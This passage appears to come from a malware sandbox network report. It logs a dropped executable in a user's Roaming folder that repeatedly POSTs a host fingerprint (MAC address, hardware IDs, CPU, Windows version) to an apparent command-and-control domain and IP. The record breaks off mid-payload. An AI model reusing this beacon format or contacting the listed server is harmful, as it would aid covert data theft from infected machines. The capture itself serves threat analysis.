Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50089	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:40 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:40 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50098	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:41 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:41 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50103	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:42 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:42 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50106	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:43 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:43 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50109	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:44 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:44 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50112	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:44 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:44 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50115	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:45 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:45 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50118	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:46 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:46 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50121	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:47 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:47 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50124	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:48 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:48 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50127	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:48 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:48 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50130	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:49 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:49 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50133	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:50 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:50 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50136	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:51 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:51 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50139	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:52 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:52 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e Data Ascii: 1MEC-F4-BB-EA-15-88HS53687091200HVwssojcgffqnjHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c49f2ecd4606693965f234ed5a1HS05368709120064.5-2168650/Microsoft Windows 10 Pro (10.0.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50142	212.193.169.65	443	8036	C:\Users\user\AppData\Roaming\im\ast.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:56:52 UTC	134	OUT	POST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1 Host: id.xn--80akicokc0aablc.xn--p1ai:443 Content-Length: 269
2024-11-19 17:56:52 UTC	269	OUT	Data Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 45 41 2d 31 35 2d 38 38 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 77 73 73 6f 6a 63 67 66 66 71 6e 6a 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 34 39 66 32 65 63 64 34 36 30 36 36 39 33 39 36 35 66 32 33 34 65 64 35 61 31 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 32 31 36 38 36 35 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 